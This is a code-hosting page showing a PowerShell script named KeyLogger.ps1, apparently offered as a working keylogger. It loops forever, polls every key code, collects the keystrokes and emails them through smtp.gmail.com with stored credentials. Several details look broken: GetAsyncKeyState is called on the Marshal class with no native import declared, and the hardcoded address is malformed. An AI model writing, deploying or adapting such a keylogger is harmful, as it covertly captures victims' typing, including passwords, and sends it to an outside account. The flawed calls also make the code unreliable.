-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeyLogger.ps1
More file actions
61 lines (52 loc) · 1.74 KB
/
Copy pathKeyLogger.ps1
File metadata and controls
61 lines (52 loc) · 1.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
Add-Type @"
using System;
using System.Runtime.InteropServices;
"@
class KeyLogger {
[string]$log = "Key started"
[int]$interval
[string]$username
[string]$password
[string]$email
KeyLogger([int]$time_interval, [string]$email, [string]$username, [string]$password) {
$this.interval = $time_interval
$this.username = $username
$this.password = $password
$this.email = $email
}
[void]Start() {
while ($true) {
$this.Report()
Start-Sleep -Milliseconds $this.interval
}
}
[void]AppendToLog([string]$content) {
$this.log += $content
}
[void]Report() {
for ($key = 1; $key -le 255; $key++) {
$state = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
$state = [System.Runtime.InteropServices.Marshal]::GetAsyncKeyState($key)
if ($state -eq -32767) {
$currentKey = [char]$key
$this.AppendToLog($currentKey)
}
}
if ($this.log.Length -gt 0) {
$this.SendEmail("`n`n" + $this.log)
$this.log = ""
}
}
[void]SendEmail([string]$message) {
$smtpServer = "smtp.gmail.com"
$smtpPort = 587
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSsl = $true
$smtp.Credentials = New-Object Net.NetworkCredential($this.username, $this.password)
$smtp.Send($this.email, $this.email, $message)
}
}
if ($MyInvocation.ScriptName -eq $null) {
$kl = New-Object KeyLogger -ArgumentList 120, 'no-reply@Taylor.ChristianNewsome@OWASP.org', '[Hello]', '[Hello]'
$kl.Start()
}